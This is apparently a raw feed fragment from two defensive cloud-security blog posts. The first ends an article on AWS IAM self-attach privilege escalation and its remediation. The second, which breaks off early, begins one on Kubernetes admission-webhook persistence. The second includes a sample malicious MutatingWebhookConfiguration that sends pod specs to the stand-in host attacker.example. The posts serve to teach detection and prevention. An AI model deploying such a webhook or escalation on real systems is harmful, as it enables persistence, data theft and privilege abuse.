    [0] Effect=Allow Action=[iam:GetUser iam:ListAttachedUserPolicies] Resource=arn:aws:iam::111122223333:user/eve
    [1] Effect=Allow Action=iam:AttachUserPolicy Resource=arn:aws:iam::111122223333:user/eve
  iam:AttachUserPolicy on self admitted: true
  dangerous witnesses: [...]
  verdict: SAT — witness: attach arn:aws:iam::aws:policy/AdministratorAccess → user becomes admin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The witness is concrete: attach &lt;code&gt;arn:aws:iam::aws:policy/AdministratorAccess&lt;/code&gt; to Eve, Eve is admin. The statement-level evidence in the output makes the finding reviewable: "yes, statement [1] is the one that grants the dangerous action; everything in [0] is read-only."&lt;/p&gt;

&lt;p&gt;After the policy is fixed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;=== after  (self-attach removed) ===
  policy statements: 1
    [0] Effect=Allow Action=[iam:GetUser iam:ListAttachedUserPolicies iam:ChangePassword] Resource=arn:aws:iam::111122223333:user/eve
  iam:AttachUserPolicy on self admitted: false
  verdict: UNSAT — no admin-granting policy is attachable
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;UNSAT &lt;code&gt;iam:AttachUserPolicy&lt;/code&gt; is gone, so no managed policy is attachable, so no admin-granting policy is reachable. Note that &lt;code&gt;iam:ChangePassword&lt;/code&gt; survives. That &lt;em&gt;is&lt;/em&gt; a self-management primitive that's safe. It doesn't escalate; it just lets users reset their own password.&lt;/p&gt;

&lt;h2&gt;
  
  
  How This Bug Reaches Production
&lt;/h2&gt;

&lt;p&gt;The pattern is consistent in incident write-ups and penetration-test reports:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The team needs users to be able to manage their own profile (display name, MFA device, password).&lt;/li&gt;
&lt;li&gt;They write a "self-service IAM" policy. The first draft uses &lt;code&gt;Action: ["iam:Get*", "iam:List*", "iam:UpdateLoginProfile", "iam:ChangePassword"]&lt;/code&gt; and is correctly read-only.&lt;/li&gt;
&lt;li&gt;A user requests the ability to "attach the boto3 SDK policy" to themselves for a one-off task.&lt;/li&gt;
&lt;li&gt;The path of least resistance is adding &lt;code&gt;iam:AttachUserPolicy&lt;/code&gt; to the existing self-service policy.&lt;/li&gt;
&lt;li&gt;The added action is reviewed in isolation — "this lets the user attach a &lt;em&gt;specific&lt;/em&gt; SDK policy, fine." The reviewer doesn't run a privesc analysis against the &lt;em&gt;combined&lt;/em&gt; policy.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The bug is in step 4: &lt;code&gt;iam:AttachUserPolicy&lt;/code&gt; is not a self-service primitive, even though &lt;code&gt;iam:ChangePassword&lt;/code&gt; is. The two actions look the same in the developer's mental model. Both are "the user managing their own profile". But only one of them admits attaching &lt;code&gt;AdministratorAccess&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Remediation
&lt;/h2&gt;

&lt;p&gt;Three options, ordered by leverage:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Option A: Remove &lt;code&gt;iam:AttachUserPolicy&lt;/code&gt;&lt;/strong&gt; from the self-service policy. Users who need new permissions go through a request workflow that lands on a privileged admin role, not on the user's own attach action.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt; {
   "Statement": [{
     "Effect": "Allow",
     "Action": [
       "iam:GetUser",
       "iam:ListAttachedUserPolicies",
&lt;span class="gd"&gt;-      "iam:AttachUserPolicy",
&lt;/span&gt;       "iam:ChangePassword"
     ],
     "Resource": "arn:aws:iam::111122223333:user/${aws:username}"
   }]
 }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Option B: Add a &lt;code&gt;Condition&lt;/code&gt; denying admin-granting policy ARNs.&lt;/strong&gt; If the team has a real use case for users to self-attach narrow policies (rare):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Effect"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Allow"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"iam:AttachUserPolicy"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Resource"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:iam::111122223333:user/${aws:username}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Condition"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ArnNotLike"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"iam:PolicyArn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:iam::aws:policy/AdministratorAccess"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:iam::aws:policy/IAMFullAccess"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:iam::aws:policy/PowerUserAccess"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:iam::*:policy/*Admin*"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This works but is brittle. Any new admin-granting managed policy AWS publishes or any custom managed policy in the account that pattern-matches none of the above defeats the deny.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Option C: SCP at the org level&lt;/strong&gt; denying any user from attaching policies to themselves. The simplest layer:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Sid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"DenyUserSelfAttach"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Effect"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Deny"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"iam:AttachUserPolicy"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Resource"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:iam::*:user/${aws:username}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Condition"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ArnNotLike"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"aws:PrincipalArn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:iam::*:role/IAMAdministrator"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Only the explicit &lt;code&gt;IAMAdministrator&lt;/code&gt; role can call &lt;code&gt;iam:AttachUserPolicy&lt;/code&gt; on user resources. Every other identity, including the user themselves, hits the deny. This is the only layer that catches custom managed policies that an admin published earlier and forgot about.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Prevention Lesson
&lt;/h2&gt;

&lt;p&gt;Three layers, in priority order:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Service Control Policy&lt;/strong&gt; Option C above is the strongest layer. Denies the action class for non-bootstrap roles. Out-of-scope for this article: SCPs require AWS Organizations and the operator's role to be the org admin; small AWS estates skip them and rely on the next two layers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;IaC module enforcement.&lt;/strong&gt; The Terraform / CDK / Pulumi module that creates a self-service IAM policy takes parameter flags for "what kinds of self-management are allowed" and &lt;strong&gt;never&lt;/strong&gt; admits the &lt;code&gt;iam:AttachUserPolicy&lt;/code&gt; shape on a user's own ARN. The module is the only sanctioned way to write a self-service policy in the org; bypassing it requires a code review that explicitly authorises the bypass.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CI invariant check.&lt;/strong&gt; &lt;code&gt;stave apply&lt;/code&gt; runs in CI against the pre-merge observation snapshot. A PR that introduces a user with &lt;code&gt;escalation.attach_user_policy_self.present: true&lt;/code&gt; fails on &lt;code&gt;CTL.IAM.ESCALATE.ATTACHUSERPOLICY.001&lt;/code&gt; with exit code 3. The example shipped with this article is the template with same predicate and exit code.&lt;/p&gt;

&lt;h2&gt;
  
  
  Checklist
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;No user has &lt;code&gt;iam:AttachUserPolicy&lt;/code&gt; whose Resource includes the user's own ARN&lt;/li&gt;
&lt;li&gt;Self-service IAM policies are limited to read-only and password-reset actions:  &lt;code&gt;iam:Get*&lt;/code&gt;, &lt;code&gt;iam:List*&lt;/code&gt;,  &lt;code&gt;iam:ChangePassword&lt;/code&gt;, &lt;code&gt;iam:UpdateLoginProfile&lt;/code&gt;,  &lt;code&gt;iam:ResyncMFADevice&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Service Control Policy denies &lt;code&gt;iam:AttachUserPolicy&lt;/code&gt; on user resources for any principal except the IAM-admin role&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;stave apply&lt;/code&gt; runs in CI; PRs with &lt;code&gt;attach_user_policy_self.present: true&lt;/code&gt; fail&lt;/li&gt;
&lt;li&gt;CloudTrail alarm fires on every
  &lt;code&gt;AttachUserPolicy&lt;/code&gt; event whose target is a user
  (not a role); SOC reviews each event&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The Rhino catalogue lists 24 IAM privesc techniques. This one is technique #1 because it is the cheapest. The right prevention is not "audit IAM more carefully", humans miss this in code review consistently. The right prevention is making the configuration shape &lt;em&gt;impossible to ship&lt;/em&gt;: the SCP refuses to apply it, the IaC module refuses to write it, the CI gate refuses to merge it.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;The example at &lt;a href="https://github.com/sufield/stave/tree/main/examples/iam-attach-user-policy-self" rel="noopener noreferrer"&gt;&lt;code&gt;iam-attach-user-policy-self&lt;/code&gt;&lt;/a&gt; has two binaries side by side: a CEL evaluation via &lt;code&gt;pkg/stave.Apply&lt;/code&gt; (asserts the unsafe state when self-attach is admitted) and a Z3 SAT prover (extracts the specific managed policy ARN typically &lt;code&gt;arn:aws:iam::aws:policy/AdministratorAccess&lt;/code&gt; whose attachment closes the escalation). The Z3 binary lives in a sibling Go module so its libz3 link stays out of Stave's main vendored tree. &lt;a href="https://github.com/sufield/stave" rel="noopener noreferrer"&gt;Stave&lt;/a&gt; detects this pattern and 31 other H1-grounded scenarios from local AWS configuration snapshots, without  cloud credentials.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>aws</category>
      <category>cloud</category>
      <category>appsec</category>
    </item>
    <item>
      <title>The Webhook is the Persistence: RBAC Misconfiguration in EKS</title>
      <dc:creator>Bala Paranj</dc:creator>
      <pubDate>Thu, 10 Sep 2026 11:07:54 +0000</pubDate>
      <link>https://dev.to/bala_paranj_059d338e44e7e/the-webhook-is-the-persistence-rbac-misconfiguration-in-eks-44ke</link>
      <guid>https://dev.to/bala_paranj_059d338e44e7e/the-webhook-is-the-persistence-rbac-misconfiguration-in-eks-44ke</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;✓ Human-authored analysis; AI used for formatting and proofreading.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A Kubernetes admission webhook is a piece of code that intercepts every API call before the API server commits it. Mutating webhooks can rewrite pod specs, inject sidecars, modify environment variables, change container images. Validating webhooks can deny requests. The cluster's behaviour depends on what its webhooks say it should do.&lt;/p&gt;

&lt;p&gt;The RBAC permission that lets a subject configure admission webhooks is therefore one of the highest-blast-radius permissions in the entire cluster:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;rbac.authorization.k8s.io/v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ClusterRole&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;acme-platform-controller&lt;/span&gt;
&lt;span class="na"&gt;rules&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;apiGroups&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;admissionregistration.k8s.io"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;resources&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;mutatingwebhookconfigurations"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;verbs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;create"&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;update"&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;patch"&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;delete"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A subject (user, group, or ServiceAccount) bound to this ClusterRole can register a mutating webhook of their choosing. Once registered, every subsequent API call flows through it. Pod specs get the attacker's init-container; secret reads return the attacker's data; the webhook itself reports normal behaviour to anyone auditing the cluster.&lt;/p&gt;

&lt;p&gt;This pattern is established enough to have its own dedicated detection logic. It still ships to production routinely because the role it grants is named "platform controller" or "operator manager" or "admission controller manager" are names that make the permission set sound foundational rather than alarming.&lt;/p&gt;

&lt;h2&gt;
  
  
  Webhook Write
&lt;/h2&gt;

&lt;p&gt;A mutating webhook configuration looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;admissionregistration.k8s.io/v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;MutatingWebhookConfiguration&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;silent-persistence&lt;/span&gt;
&lt;span class="na"&gt;webhooks&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;silent-persistence.attacker.example&lt;/span&gt;
    &lt;span class="na"&gt;clientConfig&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;url&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;https://attacker.example/mutate&lt;/span&gt;
    &lt;span class="na"&gt;rules&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;apiGroups&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
        &lt;span class="na"&gt;apiVersions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;v1"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
        &lt;span class="na"&gt;operations&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;CREATE"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
        &lt;span class="na"&gt;resources&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pods"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;sideEffects&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;None&lt;/span&gt;
    &lt;span class="na"&gt;admissionReviewVersions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;v1"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;failurePolicy&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Ignore&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;failurePolicy: Ignore&lt;/code&gt; means: if the webhook is unreachable, the API request proceeds normally. That's the operational-safety setting; it's also the deniability setting. The webhook is invisible during upgrades (when the attacker's server is offline) and silently active during normal operation. SOC dashboards show "100% pod creations succeed" because they do. Some of them now also include a sidecar.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sideEffects: None&lt;/code&gt; is a lie the attacker tells the API server. The actual side effect is exfiltration of pod specs to &lt;code&gt;attacker.example&lt;/code&gt;. This is intentional. The admission API doesn't verify the claim; it just trusts the webhook author.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the Permission Slipped In
&lt;/h2&gt;

&lt;p&gt;The pattern is consistent across incident write-ups:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The team installs an operator (Argo CD, Cert Manager, an in-house deployment controller).&lt;/li&gt;
&lt;li&gt;The operator's documentation says it needs RBAC for "webhook configuration management" because the operator itself uses an admission webhook for validation.&lt;/li&gt;
&lt;li&gt;The team grants &lt;code&gt;*&lt;/code&gt; on &lt;code&gt;mutatingwebhookconfigurations&lt;/code&gt; because the documentation said so and the install Helm chart templated it that way.&lt;/li&gt;
&lt;li&gt;The operator runs as a ServiceAccount in a namespace that other workloads can write to.&lt;/li&gt;
&lt;li&gt;An attacker who compromises &lt;em&gt;any&lt;/em&gt; workload that can exec into the operator's pod, or read its ServiceAccount token, inherits the webhook-write permission.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The audit boundary the team thought they had is "the operator can configure its own webhook" turned out to be wider: "anything that can reach the operator's identity can configure any webhook." The role that should have been scoped to a single named webhook (using &lt;code&gt;resourceNames:&lt;/code&gt;) was scoped to the entire resource class.&lt;/p&gt;

&lt;h2&gt;
  
  
  The System Invariant
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;No ClusterRole or Role may grant write verbs (&lt;code&gt;create&lt;/code&gt;, &lt;code&gt;update&lt;/code&gt;, &lt;code&gt;patch&lt;/code&gt;, &lt;code&gt;delete&lt;/code&gt;) on&lt;br&gt;
&lt;code&gt;mutatingwebhookconfigurations&lt;/code&gt; or &lt;code&gt;validatingwebhookconfigurations&lt;/code&gt; to any subject except a designated cluster administrator.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Stave's observation schema models this through a &lt;code&gt;k8s_cluster_role&lt;/code&gt; asset whose &lt;code&gt;rbac&lt;/code&gt; block carries both the engine's verdict and the underlying rules:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"acme-platform-controller"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"k8s_cluster_role"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"vendor"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"kubernetes"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"properties"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"k8s"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"kind"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cluster_role"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"acme-platform-controller"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"rbac"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"has_webhook_config_access"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"rules"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nl"&gt;"apiGroups"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"admissionregistration.k8s.io"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nl"&gt;"resources"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"mutatingwebhookconfigurations"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nl"&gt;"verbs"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"create"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"update"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"patch"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"delete"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"bound_subjects"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"ServiceAccount/platform/acme-platform"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



